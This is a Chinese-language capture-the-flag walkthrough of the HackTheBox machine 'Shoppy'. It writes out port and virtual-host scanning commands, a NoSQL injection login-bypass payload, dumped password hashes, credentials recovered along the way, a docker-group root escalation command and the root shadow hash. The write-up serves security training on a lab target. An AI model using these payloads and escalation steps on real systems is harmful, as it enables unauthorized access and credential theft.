基本信息
端口扫描
22,80:
1 | nmap -sC -sV -Pn 10.10.11.180 |
80
需要加hosts
1 | 10.10.11.180 shoppy.htb |
Wait page,还没正式开放:
子域名扫描
子域名可以发现mattermost,这里对字典稍微有点要求:
1 | gobuster vhost -u http://shoppy.htb -w ~/Tools/dict/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt |
目录扫描
简单的扫描或者常规手工枚举可以发现login:
NoSQL注入
登录那里存在注入,但不是普通sql注入,而是NoSQL注入:
- NoSQL injection - HackTricks
https://book.hacktricks.xyz/pentesting-web/nosql-injection
1 | admin'||''==' |
search功能使用同样的payload搜索,结果中得到密码hash,可以解出来josh的密码:
1 | [{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"},{"_id":"62db0e93d6d6a999a66ee67b","username":"josh","password":"6ebcea65320589ca4f2f1ce039975995"}] |
mattermost
得到的josh账号密码可以登录mattermost,在其中一个频道中得到jaeger账号密码:
1 | username: jaeger |
user flag
得到的jaeger用户ssh登录:
提权信息
上面信息可以看到是需要先到deploy用户,这个程序strings没什么有用信息,但直接cat再结合尝试运行的报错信息,能够得到密码,没错,密码就是Sample
:
deploy
使用密码运行程序,得到deploy的密码:
切换到deploy用户,发现当前用户在docker组中,那就是常规的docker挂载提权:
提权 & root flag
- docker | GTFOBins
https://gtfobins.github.io/gtfobins/docker/
1 | docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
shadow
1 | root:$y$j9T$0gd6YLeK1QF8eXOhAGmb2.$rvSHnH5qysjj79l0OiXizdnFwT1vsQzz5U4p/vrHQMB:19195:0:99999:7::: |
参考资料
- NoSQL injection - HackTricks
https://book.hacktricks.xyz/pentesting-web/nosql-injection - docker | GTFOBins
https://gtfobins.github.io/gtfobins/docker/ - Shoppy - HTB [Discussion] | BreachForums
https://breached.to/Thread-Shoppy-HTB-Discussion - HackTheBox (HTB) Writeup: Shoppy [Easy] – meowmeowattack
https://meowmeowattack.wordpress.com/2022/09/21/hackthebox-htb-writeup-shoppy-easy/